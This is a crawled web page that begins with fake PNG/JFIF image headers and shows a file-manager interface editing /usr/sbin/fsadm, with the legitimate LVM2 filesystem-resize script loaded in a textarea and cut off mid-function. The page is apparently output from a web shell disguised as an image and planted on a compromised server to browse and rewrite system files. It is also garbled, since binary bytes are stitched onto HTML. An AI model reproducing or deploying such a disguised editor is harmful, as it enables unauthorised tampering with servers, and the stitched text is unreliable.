�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fsbin%2F'>sbin</a>/</p><hr><h3>✏️ Editing: fsadm</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/bin/bash
#
# Copyright (C) 2007-2020 Red Hat, Inc. All rights reserved.
#
# This file is part of LVM2.
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions
# of the GNU General Public License v.2.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
# Author: Zdenek Kabelac &lt;zkabelac at redhat.com&gt;
#
# Script for resizing devices (usable for LVM resize)
#
# Needed utilities:
#   mount, umount, grep, readlink, blockdev, blkid, fsck, xfs_check, cryptsetup
#
# ext2/ext3/ext4: resize2fs, tune2fs
# reiserfs: resize_reiserfs, reiserfstune
# xfs: xfs_growfs, xfs_info
#
# Return values:
#   0 success
#   1 error
#   2 break detected
#   3 unsupported online filesystem check for given mounted fs

set -euE -o pipefail

TOOL=&quot;fsadm&quot;

_SAVEPATH=$PATH
PATH=&quot;/sbin:/usr/sbin:/bin:/usr/sbin:$PATH&quot;

# utilities
TUNE_EXT=&quot;tune2fs&quot;
RESIZE_EXT=&quot;resize2fs&quot;
TUNE_REISER=&quot;reiserfstune&quot;
RESIZE_REISER=&quot;resize_reiserfs&quot;
TUNE_XFS=&quot;xfs_info&quot;
RESIZE_XFS=&quot;xfs_growfs&quot;

MOUNT=&quot;mount&quot;
UMOUNT=&quot;umount&quot;
MKDIR=&quot;mkdir&quot;
RMDIR=&quot;rmdir&quot;
BLOCKDEV=&quot;blockdev&quot;
BLKID=&quot;blkid&quot;
DATE=&quot;date&quot;
GREP=&quot;grep&quot;
READLINK=&quot;readlink&quot;
READLINK_E=&quot;-e&quot;
FSCK=&quot;fsck&quot;
XFS_CHECK=&quot;xfs_check&quot;
# XFS_REPAIR -n is used when XFS_CHECK is not found
XFS_REPAIR=&quot;xfs_repair&quot;
CRYPTSETUP=&quot;cryptsetup&quot;

# user may override lvm location by setting LVM_BINARY
LVM=${LVM_BINARY:-lvm}

YES=&quot;${_FSADM_YES-}&quot;
DRY=0
VERB=
FORCE=
EXTOFF=${_FSADM_EXTOFF:-0}
DO_LVRESIZE=0
FSTYPE=&quot;unknown&quot;
VOLUME=&quot;unknown&quot;
TEMPDIR=&quot;${TMPDIR:-/tmp}/${TOOL}_${RANDOM}$$/m&quot;
DM_DEV_DIR=&quot;${DM_DEV_DIR:-/dev}&quot;
BLOCKSIZE=
BLOCKCOUNT=
MOUNTPOINT=
MOUNTED=
REMOUNT=
PROCDIR=&quot;/proc&quot;
PROCMOUNTS=&quot;$PROCDIR/mounts&quot;
PROCSELFMOUNTINFO=&quot;$PROCDIR/self/mountinfo&quot;
NULL=&quot;$DM_DEV_DIR/null&quot;

IFS_OLD=$IFS
# without bash $&#039;\n&#039;
NL=&#039;
&#039;

tool_usage() {
	echo &quot;${TOOL}: Utility to resize or check the filesystem on a device&quot;
	echo
	echo &quot;  ${TOOL} [options] check &lt;device&gt;&quot;
	echo &quot;    - Check the filesystem on device using fsck&quot;
	echo
	echo &quot;  ${TOOL} [options] resize &lt;device&gt; [&lt;new_size&gt;[BKMGTPE]]&quot;
	echo &quot;    - Change the size of the filesystem on device to new_size&quot;
	echo
	echo &quot;  Options:&quot;
	echo &quot;    -h | --help         Show this help message&quot;
	echo &quot;    -v | --verbose      Be verbose&quot;
	echo &quot;    -e | --ext-offline  unmount filesystem before ext2/ext3/ext4 resize&quot;
	echo &quot;    -f | --force        Bypass sanity checks&quot;
	echo &quot;    -n | --dry-run      Print commands without running them&quot;
	echo &quot;    -l | --lvresize     Resize given device (if it is LVM device)&quot;
	echo &quot;    -c | --cryptresize  Resize given crypt device&quot;
	echo &quot;    -y | --yes          Answer \&quot;yes\&quot; at any prompts&quot;
	echo
	echo &quot;  new_size - Absolute number of filesystem blocks to be in the filesystem,&quot;
	echo &quot;             or an absolute size using a suffix (in powers of 1024).&quot;
	echo &quot;             If new_size is not supplied, the whole device is used.&quot;

	exit
}

verbose() {
	test -z &quot;$VERB&quot; || echo &quot;$TOOL:&quot; &quot;$@&quot;
}

# Support multi-line error messages
error() {
	for i in &quot;$@&quot; ;  do
		echo &quot;$TOOL: $i&quot; &gt;&amp;2
	done
	cleanup 1
}

dry() {
	if [ &quot;$DRY&quot; -ne 0 ]; then
		verbose &quot;Dry execution&quot; &quot;$@&quot;
		return 0
	fi
	verbose &quot;Executing&quot; &quot;$@&quot;
	$@
}

# Accept as success also return code 1 with fsck
accept_0_1() {
	$@
	local ret=&quot;$?&quot;
	test &quot;$ret&quot; -eq 1 || return &quot;$ret&quot;
	# Filesystem was corrected
}

cleanup() {
	trap &#039;&#039; 2
	# reset MOUNTPOINT - avoid recursion
	test &quot;$MOUNTPOINT&quot; = &quot;$TEMPDIR&quot; &amp;&amp; MOUNTPOINT=&quot;&quot; temp_umount
	if [ -n &quot;$REMOUNT&quot; ]; then
		verbose &quot;Remounting unmounted filesystem back&quot;
		dry &quot;$MOUNT&quot; &quot;$VOLUME&quot; &quot;$MOUNTED&quot;
	fi
	IFS=$IFS_OLD
	trap 2

	test &quot;$1&quot; -eq 2 &amp;&amp; verbose &quot;Break detected&quot;

	if [ &quot;$DO_LVRESIZE&quot; -eq 2 ]; then
		# start LVRESIZE with the filesystem modification flag
		# and allow recursive call of fsadm
		_FSADM_YES=$YES
		_FSADM_EXTOFF=$EXTOFF
		export _FSADM_YES _FSADM_EXTOFF
		unset FSADM_RUNNING
		test -n &quot;${LVM_BINARY-}&quot; &amp;&amp; PATH=$_SAVEPATH
		dry exec &quot;$LVM&quot; lvresize $VERB $FORCE $YES --fs resize_fsadm -L&quot;${NEWSIZE_ORIG}b&quot; &quot;$VOLUME_ORIG&quot;
	fi

	# error exit status for break
	exit &quot;${1:-1}&quot;
}

# convert parameter from Exa/Peta/Tera/Giga/Mega/Kilo/Bytes and blocks
# (2^(60/50/40/30/20/10/0))
decode_size() {
	case &quot;$1&quot; in
	 *[eE]) NEWSIZE=$(( ${1%[eE]} * 1152921504606846976 )) ;;
	 *[pP]) NEWSIZE=$(( ${1%[pP]} * 1125899906842624 )) ;;
	 *[tT]) NEWSIZE=$(( ${1%[tT]} * 1099511627776 )) ;;
	 *[gG]) NEWSIZE=$(( ${1%[gG]} * 1073741824 )) ;;
	 *[mM]) NEWSIZE=$(( ${1%[mM]} * 1048576 )) ;;
	 *[kK]) NEWSIZE=$(( ${1%[kK]} * 1024 )) ;;
	 *[bB]) NEWSIZE=${1%[bB]} ;;
	     *) NEWSIZE=$(( $1 * $2 )) ;;
	esac
	#NEWBLOCKCOUNT=$(round_block_size $NEWSIZE $2)
	NEWBLOCKCOUNT=$(( NEWSIZE / $2 ))

	if [ &quot;$DO_LVRESIZE&quot; -eq 1 ]; then
		# start lvresize, but first cleanup mounted dirs
		DO_LVRESIZE=2
		cleanup 0
	fi
}

decode_major_minor() {
	# 0x00000fff00  mask MAJOR
	# 0xfffff000ff  mask MINOR

	#MINOR=$(( $1 / 1048576 ))
	#MAJOR=$(( ($1 - ${MINOR} * 1048576) / 256 ))
	#MINOR=$(( $1 - ${MINOR} * 1048576 - ${MAJOR} * 256 + ${MINOR} * 256))

	echo &quot;$(( ( $1 &gt;&gt; 8 ) &amp; 4095 )):$(( ( ( $1 &gt;&gt; 12 ) &amp; 268435200 ) | ( $1 &amp; 255 ) ))&quot;
}

# detect filesystem on the given device
# dereference device name if it is symbolic link
detect_fs() {
	test -n &quot;${VOLUME_ORIG-}&quot; || VOLUME_ORIG=$1
	VOLUME=${1/#&quot;${DM_DEV_DIR}/&quot;/}
	VOLUME=$(&quot;$READLINK&quot; $READLINK_E &quot;$DM_DEV_DIR/$VOLUME&quot;)
	test -n &quot;$VOLUME&quot; || error &quot;Cannot get readlink \&quot;$1\&quot;.&quot;
	RVOLUME=$VOLUME
	case &quot;$RVOLUME&quot; in
	  # hardcoded /dev  since udev does not create these entries elsewhere
	  /dev/dm-[0-9]*)
		read -r &lt;&quot;/sys/block/${RVOLUME#/dev/}/dm/name&quot; SYSVOLUME 2&gt;&amp;1 &amp;&amp; VOLUME=&quot;$DM_DEV_DIR/mapper/$SYSVOLUME&quot;
		read -r &lt;&quot;/sys/block/${RVOLUME#/dev/}/dev&quot; MAJORMINOR 2&gt;&amp;1 || error &quot;Cannot get major:minor for \&quot;$VOLUME\&quot;.&quot;
		MAJOR=${MAJORMINOR%%:*}
		MINOR=${MAJORMINOR##*:}
		;;
	  *)
		STAT=$(stat --format &quot;MAJOR=\$((0x%t)) MINOR=\$((0x%T))&quot; &quot;$RVOLUME&quot;)
		test -n &quot;$STAT&quot; || error &quot;Cannot get major:minor for \&quot;$VOLUME\&quot;.&quot;
		eval &quot;$STAT&quot;
		MAJORMINOR=&quot;${MAJOR}:${MINOR}&quot;
		;;
	esac
	# use null device as cache file to be sure about the result
	# not using option &#039;-o value&#039; to be compatible with older version of blkid
	FSTYPE=$(&quot;$BLKID&quot; -c &quot;$NULL&quot; -s TYPE &quot;$VOLUME&quot; || true)
	test -n &quot;$FSTYPE&quot; || error &quot;Cannot get FSTYPE of \&quot;$VOLUME\&quot;.&quot;
	FSTYPE=${FSTYPE##*TYPE=\&quot;} # cut quotation marks
	FSTYPE=${FSTYPE%%\&quot;*}
	verbose &quot;\&quot;$FSTYPE\&quot; filesystem found on \&quot;$VOLUME\&quot;.&quot;
}


# Check that passed mounted MAJOR:MINOR is not matching $MAJOR:MINOR of resized $VOLUME
validate_mounted_major_minor() {
	test &quot;$1&quot; = &quot;$MAJORMINOR&quot; || {
		local REFNAME
		local CURNAME
		REFNAME=$(dmsetup info -c -j &quot;${1%%:*}&quot; -m &quot;${1##*:}&quot; -o name --noheadings 2&gt;&quot;$NULL&quot;)
		CURNAME=$(dmsetup info -c -j &quot;$MAJOR&quot; -m &quot;$MINOR&quot; -o name --noheadings 2&gt;&quot;$NULL&quot;)
		error &quot;Cannot ${CHECK+CHECK}${RESIZE+RESIZE} device \&quot;$VOLUME\&quot; without umounting filesystem $MOUNTED first.&quot; \
		      &quot;Mounted filesystem is using device $CURNAME, but referenced device is $REFNAME.&quot; \
		      &quot;Filesystem utilities currently do not support renamed devices.&quot;
	}
}

# ATM fsresize &amp; fsck tools are not able to work properly
# when mounted device has changed its name.
# So whenever such device no longer exists with original name
# abort further command processing
check_valid_mounted_device() {
	local MOUNTEDMAJORMINOR
	local VOL
	local CURNAME

	VOL=$(&quot;$READLINK&quot; $READLINK_E &quot;$1&quot;)
	CURNAME=$(dmsetup info -c -j &quot;$MAJOR&quot; -m &quot;$MINOR&quot; -o name --noheadings)
	# more confused, device is not DM....
	local SUGGEST=&quot;Possibly device \&quot;$1\&quot; has been renamed to \&quot;$CURNAME\&quot;?&quot;
	test -n &quot;$CURNAME&quot; || SUGGEST=&quot;Mounted volume is not a device mapper device???&quot;

	test -n &quot;$VOL&quot; ||
		error &quot;Cannot access device \&quot;$1\&quot; referenced by mounted filesystem \&quot;$MOUNTED\&quot;.&quot; \
		&quot;$SUGGEST&quot; \
		&quot;Filesystem utilities currently do not support renamed devices.&quot;

	case &quot;$VOL&quot; in
	  # hardcoded /dev  since kernel does not create these entries elsewhere
	  /dev/dm-[0-9]*)
		read -r &lt;&quot;/sys/block/${VOL#/dev/}/dev&quot; MOUNTEDMAJORMINOR 2&gt;&amp;1 || error &quot;Cannot get major:minor for \&quot;$VOLUME\&quot;.&quot;
		;;
	  *)
		STAT=$(stat --format &quot;MOUNTEDMAJORMINOR=\$((0x%t)):\$((0x%T))&quot; &quot;$VOL&quot;)
		test -n &quot;$STAT&quot; || error &quot;Cannot get major:minor for \&quot;$VOLUME\&quot;.&quot;
		eval &quot;$STAT&quot;
		;;
	esac

	validate_mounted_major_minor &quot;$MOUNTEDMAJORMINOR&quot;
}

detect_mounted_with_proc_self_mountinfo() {
	# Check self mountinfo
	# grab major:minor mounted_device mount_point
	MOUNTED=$(&quot;$GREP&quot; &quot;^[0-9]* [0-9]* $MAJORMINOR &quot; &quot;$PROCSELFMOUNTINFO&quot; 2&gt;&quot;$NULL&quot; | head -1)

	# If device is opened and not yet found as self mounted
	# check all other mountinfos (since it can be mounted in cgroups)
	# Use &#039;find&#039; to not fail on to long list of args with too many pids
	# only 1st. line is needed
	test -z &quot;$MOUNTED&quot; &amp;&amp;
		test &quot;$(dmsetup info -c --noheading -o open -j &quot;$MAJOR&quot; -m &quot;$MINOR&quot;)&quot; -gt 0 &amp;&amp;
		MOUNTED=$(find &quot;$PROCDIR&quot; -maxdepth 2 -name mountinfo -print0 |  xargs -0 &quot;$GREP&quot; &quot;^[0-9]* [0-9]* $MAJORMINOR &quot; 2&gt;&quot;$NULL&quot; | head -1 2&gt;&quot;$NULL&quot;)

	# TODO: for performance compare with sed and stop with 1st. match:
	# sed -n &quot;/$MAJORMINOR/ {;p;q;}&quot;

	# extract 2nd field after &#039; - &#039; separator as mouted device
	MOUNTDEV=$(echo &quot;${MOUNTED##* - }&quot; | cut -d &#039; &#039; -f 2)
	MOUNTDEV=$(echo -n -e &quot;$MOUNTDEV&quot;)

	# extract 5th field as mount point
	# echo -e translates \040 to spaces
	MOUNTED=$(echo &quot;$MOUNTED&quot; | cut -d &#039; &#039; -f 5)
	MOUNTED=$(echo -n -e &quot;$MOUNTED&quot;)

	test -n &quot;$MOUNTED&quot; || return 1   # Not seen mounted anywhere

	check_valid_mounted_device &quot;$MOUNTDEV&quot;
}

# With older systems without /proc/*/mountinfo we may need to check
# every mount point as cannot easily depend on the name of mounted
# device (which could have been renamed).
# We need to visit every mount point and check it&#039;s major minor
detect_mounted_with_proc_mounts() {
	MOUNTED=$(&quot;$GREP&quot; &quot;^${VOLUME}[ \\t]&quot; &quot;$PROCMOUNTS&quot;)

	# for empty string try again with real volume name
	test -z &quot;$MOUNTED&quot; &amp;&amp; MOUNTED=$(&quot;$GREP&quot; &quot;^${RVOLUME}[ \\t]&quot; &quot;$PROCMOUNTS&quot;)

	MOUNTDEV=$(echo -n -e &quot;${MOUNTED%% *}&quot;)
	# cut device name prefix and trim everything past mountpoint
	# echo translates \040 to spaces
	MOUNTED=${MOUNTED#* }
	MOUNTED=$(echo -n -e &quot;${MOUNTED%% *}&quot;)

	# for systems with different device names - check also mount output
	if test -z &quot;$MOUNTED&quot; ; then
		# will not work with spaces in paths
		MOUNTED=$(LC_ALL=C &quot;$MOUNT&quot; | &quot;$GREP&quot; &quot;^${VOLUME}[ \\t]&quot;)
		test -z &quot;$MOUNTED&quot; &amp;&amp; MOUNTED=$(LC_ALL=C &quot;$MOUNT&quot; | &quot;$GREP&quot; &quot;^${RVOLUME}[ \\t]&quot;)
		MOUNTDEV=${MOUNTED%% on *}
		MOUNTED=${MOUNTED##* on }
		MOUNTED=${MOUNTED% type *} # allow type in the mount name
	fi

	if test -n &quot;$MOUNTED&quot; ; then
		check_valid_mounted_device &quot;$MOUNTDEV&quot;
		return 0  # mounted
	fi

	# If still nothing found and volume is in use
	# check every known mount point against MAJOR:MINOR
	if test &quot;$(dmsetup info -c --noheading -o open -j &quot;$MAJOR&quot; -m &quot;$MINOR&quot;)&quot; -gt 0 ; then
		while IFS=$&#039;\n&#039; read -r i ; do
			MOUNTDEV=$(echo -n -e &quot;${i%% *}&quot;)
			MOUNTED=${i#* }
			MOUNTED=$(echo -n -e &quot;${MOUNTED%% *}&quot;)
			STAT=$(stat --format &quot;%d&quot; &quot;$MOUNTED&quot;)
			validate_mounted_major_minor &quot;$(decode_major_minor &quot;$STAT&quot;)&quot;
		done &lt; &quot;$PROCMOUNTS&quot;
	fi

	return 1  # nothing is mounted
}

# check if the given device is already mounted and where
# FIXME: resolve swap usage and device stacking
detect_mounted() {
	if test -e &quot;$PROCSELFMOUNTINFO&quot;; then
		detect_mounted_with_proc_self_mountinfo
	elif test -e &quot;$PROCMOUNTS&quot;; then
		detect_mounted_with_proc_mounts
	else
		error &quot;Cannot detect mounted device \&quot;$VOLUME\&quot;.&quot;
	fi
}

# get the full size of device in bytes
detect_device_size() {
	# check if blockdev supports getsize64
	DEVSIZE=$(&quot;$BLOCKDEV&quot; --getsize64 &quot;$VOLUME&quot; 2&gt;&quot;$NULL&quot; || true)
	if test -z &quot;$DEVSIZE&quot; ; then
		DEVSIZE=$(&quot;$BLOCKDEV&quot; --getsize &quot;$VOLUME&quot; || true)
		test -n &quot;$DEVSIZE&quot; || error &quot;Cannot read size of device \&quot;$VOLUME\&quot;.&quot;
		SSSIZE=$(&quot;$BLOCKDEV&quot; --getss &quot;$VOLUME&quot; || true)
		test -n &quot;$SSSIZE&quot; || error &quot;Cannot read sector size of device \&quot;$VOLUME\&quot;.&quot;
		DEVSIZE=$(( DEVSIZE * SSSIZE ))
	fi
}

# round up $1 / $2
# could be needed to guarantee &#039;at least given size&#039;
# but it makes many troubles
round_up_block_size() {
	echo $(( ($1 + $2 - 1) / $2 ))
}

temp_mount() {
	dry &quot;$MKDIR&quot; -p -m 0000 &quot;$TEMPDIR&quot; || error &quot;Failed to create $TEMPDIR.&quot;
	dry &quot;$MOUNT&quot; &quot;$VOLUME&quot; &quot;$TEMPDIR&quot; || error &quot;Failed to mount $TEMPDIR.&quot;
}

temp_umount() {
	dry &quot;$UMOUNT&quot; &quot;$TEMPDIR&quot; || error &quot;Failed to umount \&quot;$TEMPDIR\&quot;.&quot;
	dry &quot;$RMDIR&quot; &quot;${TEMPDIR}&quot; || error &quot;Failed to remove \&quot;$TEMPDIR\&quot;,&quot;
	dry &quot;$RMDIR&quot; &quot;${TEMPDIR%%m}&quot; || error &quot;Failed to remove \&quot;${TEMPDIR%%m}\&quot;.&quot;
}

yes_no() {
	echo -n &quot;$@&quot; &quot;? [Y|n] &quot;

	if [ -n &quot;$YES&quot; ]; then
		echo y ; return 0
	fi

	while read -r -s -n 1 ANS ; do
		case &quot;$ANS&quot; in
		 &quot;y&quot; | &quot;Y&quot; ) echo y ; return 0 ;;
		 &quot;n&quot; | &quot;N&quot;) break ;;
		 &quot;&quot; ) if [ -t 1 ] ; then
			echo y ; return 0
		      fi ;;
		esac
	done

	echo n
	return 1
}

try_umount() {
	yes_no &quot;Do you want to unmount \&quot;$MOUNTED\&quot;&quot; &amp;&amp; dry &quot;$UMOUNT&quot; &quot;$MOUNTED&quot; &amp;&amp; return 0
	error &quot;Cannot proceed with mounted filesystem \&quot;$MOUNTED\&quot;.&quot;
}

validate_parsing() {
	if test -z &quot;$BLOCKSIZE&quot; || test -z &quot;$BLOCKCOUNT&quot; ; then
		error &quot;Cannot parse $1 output.&quot;
	fi
}
####################################
# Resize ext2/ext3/ext4 filesystem
# - unmounted or mounted for upsize
# - unmounted for downsize
####################################
resize_ext() {
	local IS_MOUNTED=0
	detect_mounted &amp;&amp; IS_MOUNTED=1

	verbose &quot;Parsing $TUNE_EXT -l \&quot;$VOLUME\&quot;&quot;
	for i in $(LC_ALL=C &quot;$TUNE_EXT&quot; -l &quot;$VOLUME&quot;); do
		case &quot;$i&quot; in
		  &quot;Block size&quot;*) BLOCKSIZE=${i##*  } ;;
		  &quot;Block count&quot;*) BLOCKCOUNT=${i##*  } ;;
		esac
	done
	validate_parsing &quot;$TUNE_EXT&quot;
	decode_size &quot;$1&quot; &quot;$BLOCKSIZE&quot;
	FSFORCE=$FORCE

	if test &quot;$NEWBLOCKCOUNT&quot; -lt &quot;$BLOCKCOUNT&quot; || test &quot;$EXTOFF&quot; -eq 1 ; then
		test &quot;$IS_MOUNTED&quot; -eq 1 &amp;&amp; verbose &quot;$RESIZE_EXT needs unmounted filesystem&quot; &amp;&amp; try_umount
		REMOUNT=$MOUNTED
		if test -n &quot;$MOUNTED&quot; ; then
			# Forced fsck -f for umounted extX filesystem.
			case &quot;$-&quot; in
			*i*) FLAG=$YES ;;
			*)   FLAG=&quot;-p&quot; ;;
			esac
			accept_0_1 dry &quot;$FSCK&quot; -f $FLAG &quot;$VOLUME&quot; || error &quot;Failed to fsck $VOLUME&quot;
		fi
	fi

	verbose &quot;Resizing filesystem on device \&quot;$VOLUME\&quot; to $NEWSIZE bytes ($BLOCKCOUNT -&gt; $NEWBLOCKCOUNT blocks of $BLOCKSIZE bytes)&quot;
	dry &quot;$RESIZE_EXT&quot; $FSFORCE &quot;$VOLUME&quot; &quot;$NEWBLOCKCOUNT&quot;
}

#############################
# Resize reiserfs filesystem
# - unmounted for upsize
# - unmounted for downsize
#############################
resize_reiser() {
	detect_mounted &amp;&amp; verbose &quot;ReiserFS resizes only unmounted filesystem&quot; &amp;&amp; try_umount
	REMOUNT=$MOUNTED
	verbose &quot;Parsing $TUNE_REISER \&quot;$VOLUME\&quot;&quot;
	for i in $(LC_ALL=C &quot;$TUNE_REISER&quot; &quot;$VOLUME&quot;); do
		case &quot;$i&quot; in
		  &quot;Blocksize&quot;*) BLOCKSIZE=${i##*: } ;;
		  &quot;Count of blocks&quot;*) BLOCKCOUNT=${i##*: } ;;
		esac
	done
	validate_parsing &quot;$TUNE_REISER&quot;
	decode_size &quot;$1&quot; &quot;$BLOCKSIZE&quot;
	verbose &quot;Resizing \&quot;$VOLUME\&quot; $BLOCKCOUNT -&gt; $NEWBLOCKCOUNT blocks ($NEWSIZE bytes, bs: $NEWBLOCKCOUNT)&quot;
	if [ -n &quot;$YES&quot; ]; then
		echo y | dry &quot;$RESIZE_REISER&quot; -s &quot;$NEWSIZE&quot; &quot;$VOLUME&quot;
	else
		dry &quot;$RESIZE_REISER&quot; -s &quot;$NEWSIZE&quot; &quot;$VOLUME&quot;
	fi
}

########################
# Resize XFS filesystem
# - mounted for upsize
# - cannot downsize
########################
resize_xfs() {
	detect_mounted
	MOUNTPOINT=$MOUNTED
	if [ -z &quot;$MOUNTED&quot; ]; then
		MOUNTPOINT=$TEMPDIR
		temp_mount || error &quot;Cannot mount Xfs filesystem.&quot;
	fi
	verbose &quot;Parsing $TUNE_XFS \&quot;$MOUNTPOINT\&quot;&quot;
	for i in $(LC_ALL=C &quot;$TUNE_XFS&quot; &quot;$MOUNTPOINT&quot;); do
		case &quot;$i&quot; in
		  &quot;data&quot;*) BLOCKSIZE=${i##*bsize=} ; BLOCKCOUNT=${i##*blocks=} ;;
		esac
	done
	BLOCKSIZE=${BLOCKSIZE%%[^0-9]*}
	BLOCKCOUNT=${BLOCKCOUNT%%[^0-9]*}
	validate_parsing &quot;$TUNE_XFS&quot;
	decode_size &quot;$1&quot; &quot;$BLOCKSIZE&quot;
	if [ &quot;$NEWBLOCKCOUNT&quot; -gt &quot;$BLOCKCOUNT&quot; ]; then
		verbose &quot;Resizing Xfs mounted on \&quot;$MOUNTPOINT\&quot; to fill device \&quot;$VOLUME\&quot;&quot;
		dry &quot;$RESIZE_XFS&quot; &quot;$MOUNTPOINT&quot;
	elif [ &quot;$NEWBLOCKCOUNT&quot; -eq &quot;$BLOCKCOUNT&quot; ]; then
		verbose &quot;Xfs filesystem already has the right size&quot;
	else
		error &quot;Xfs filesystem shrinking is unsupported.&quot;
	fi
}

# Find active LUKS device on original volume
# 1) look for LUKS device with well-known UUID format (CRYPT-LUKS[12]-&lt;uuid&gt;-&lt;dmname&gt;)
# 2) the dm-crypt device has to be on top of original device (don&#039;t support detached LUKS headers)
detect_luks_device() {
	local _LUKS_VERSION
	local _LUKS_UUID

	CRYPT_NAME=&quot;&quot;
	CRYPT_DATA_OFFSET=&quot;&quot;

	_LUKS_VERSION=$(&quot;$CRYPTSETUP&quot; luksDump &quot;$VOLUME&quot; 2&gt;&quot;$NULL&quot; | &quot;$GREP&quot; &quot;Version:&quot;)

	if [ -z &quot;$_LUKS_VERSION&quot; ]; then
		verbose &quot;Failed to parse LUKS version on volume \&quot;$VOLUME\&quot;&quot;
		return
	fi

	_LUKS_VERSION=${_LUKS_VERSION//[Version:[:space:]]/}

	_LUKS_UUID=$(&quot;$CRYPTSETUP&quot; luksDump &quot;$VOLUME&quot; 2&gt;&quot;$NULL&quot; | &quot;$GREP&quot; &quot;UUID:&quot;)

	if [ -z &quot;$_LUKS_UUID&quot; ]; then
		verbose &quot;Failed to parse LUKS UUID on volume \&quot;$VOLUME\&quot;&quot;
		return
	fi

	_LUKS_UUID=&quot;CRYPT-LUKS$_LUKS_VERSION-${_LUKS_UUID//[UID:[:space:]-]/}-&quot;

	CRYPT_NAME=$(dmsetup info -c --noheadings -S &quot;UUID=~^$_LUKS_UUID&amp;&amp;segments=1&amp;&amp;devnos_used=&#039;$MAJOR:$MINOR&#039;&quot; -o name)
	test -z &quot;$CRYPT_NAME&quot; || CRYPT_DATA_OFFSET=$(dmsetup table &quot;$CRYPT_NAME&quot; | cut -d &#039; &#039; -f 8)

	# LUKS device must be active and mapped over volume where detected
	if [ -z &quot;$CRYPT_NAME&quot; ] || [ -z &quot;$CRYPT_DATA_OFFSET&quot; ]; then
		error &quot;Can not find active LUKS device. Unlock \&quot;$VOLUME\&quot; volume first.&quot;
	fi
}

######################################
# Resize active LUKS device
# - LUKS must be active for fs resize
######################################
resize_luks() {
	local L_NEWSIZE
	local L_NEWBLOCKCOUNT
	local NAME
	local SHRINK=0

	detect_luks_device

	NAME=$CRYPT_NAME

	verbose &quot;Found active LUKS device \&quot;$NAME\&quot; for volume \&quot;$VOLUME\&quot;&quot;

	decode_size &quot;$1&quot; 512

	if [ $((NEWSIZE % 512)) -gt 0 ]; then
		error &quot;New size is not sector aligned.&quot;
	fi

	if [ $((NEWBLOCKCOUNT - CRYPT_DATA_OFFSET)) -lt 1 ]; then
		error &quot;New size is smaller than minimum ($(((CRYPT_DATA_OFFSET + 1) * 512)) bytes) for LUKS device $VOLUME&quot;
	fi

	L_NEWBLOCKCOUNT=$((NEWBLOCKCOUNT - CRYPT_DATA_OFFSET))
	L_NEWSIZE=$(( L_NEWBLOCKCOUNT * 512))

	VOLUME=&quot;$DM_DEV_DIR/mapper/$NAME&quot;
	detect_device_size

	test &quot;$DEVSIZE&quot; -le &quot;$L_NEWSIZE&quot; || SHRINK=1

	if [ $SHRINK -eq 1 ]; then
		# shrink fs on LUKS device first
		resize &quot;$DM_DEV_DIR/mapper/$NAME&quot; &quot;$L_NEWSIZE&quot;b
	fi

	# resize LUKS device
	dry &quot;$CRYPTSETUP&quot; resize &quot;$NAME&quot; --size $L_NEWBLOCKCOUNT || error &quot;Failed to resize active LUKS device&quot;

	if [ $SHRINK -eq 0 ]; then
		# grow fs on top of LUKS device
		resize &quot;$DM_DEV_DIR/mapper/$NAME&quot; &quot;$L_NEWSIZE&quot;b
	fi
}

detect_crypt_device() {
	local CRYPT_TYPE
	local L_NEWSIZE
	local TMP

	which &quot;$CRYPTSETUP&quot; &gt;&quot;$NULL&quot; 2&gt;&amp;1 || error &quot;$CRYPTSETUP utility required to resize crypt device&quot;

	CRYPT_TYPE=$(&quot;$CRYPTSETUP&quot; status &quot;$1&quot; 2&gt;&quot;$NULL&quot; | &quot;$GREP&quot; &quot;type:&quot;)

	test -n &quot;$CRYPT_TYPE&quot; || error &quot;$CRYPTSETUP failed to detect device type on $1.&quot;

	CRYPT_TYPE=${CRYPT_TYPE##*[[:space:]]}

	case &quot;$CRYPT_TYPE&quot; in
	 LUKS[12]|PLAIN)
		verbose &quot;\&quot;$1\&quot; crypt device is type $CRYPT_TYPE&quot;
		;;
	 *)
		error &quot;Unsupported crypt type \&quot;$CRYPT_TYPE\&quot;&quot;
	esac

	TMP=$NEWSIZE
	decode_size &quot;$2&quot; 512
	L_NEWSIZE=$NEWSIZE
	NEWSIZE=$TMP

	if [ $((L_NEWSIZE % 512)) -ne 0 ]; then
		error &quot;New size is not sector aligned.&quot;
	fi

	CRYPT_RESIZE_BLOCKS=$NEWBLOCKCOUNT

	if [ &quot;$DEVSIZE&quot; -ge &quot;$L_NEWSIZE&quot; ]; then
		CRYPT_SHRINK=1
	else
		CRYPT_GROW=1
	fi
}

#################################
# Resize active crypt device
#  (on direct user request only)
#################################
resize_crypt() {
	dry &quot;$CRYPTSETUP&quot; resize &quot;$1&quot; --size $CRYPT_RESIZE_BLOCKS || error &quot;$CRYPTSETUP failed to resize device $1&quot;
}

####################
# Resize filesystem
####################
resize() {
	NEWSIZE=$2
	detect_fs &quot;$1&quot;
	detect_device_size
	verbose &quot;Device \&quot;$VOLUME\&quot; size is $DEVSIZE bytes&quot;
	# if the size parameter is missing use device size
	#if [ -n &quot;$NEWSIZE&quot; -a $NEWSIZE &lt;
	test -z &quot;$NEWSIZE&quot; &amp;&amp; NEWSIZE=${DEVSIZE}b
	NEWSIZE_ORIG=${NEWSIZE_ORIG:-$NEWSIZE}
	IFS=$NL
	test -z &quot;${DO_CRYPTRESIZE-}&quot; || detect_crypt_device &quot;$VOLUME_ORIG&quot; &quot;$NEWSIZE_ORIG&quot;
	test -z &quot;${CRYPT_GROW-}&quot; || resize_crypt &quot;$VOLUME_ORIG&quot;

	case &quot;$FSTYPE&quot; in
	  ext[234])	CMD=resize_ext ;;
	  &quot;reiserfs&quot;)	CMD=resize_reiser ;;
	  &quot;xfs&quot;)	CMD=resize_xfs ;;
	  &quot;crypto_LUKS&quot;)
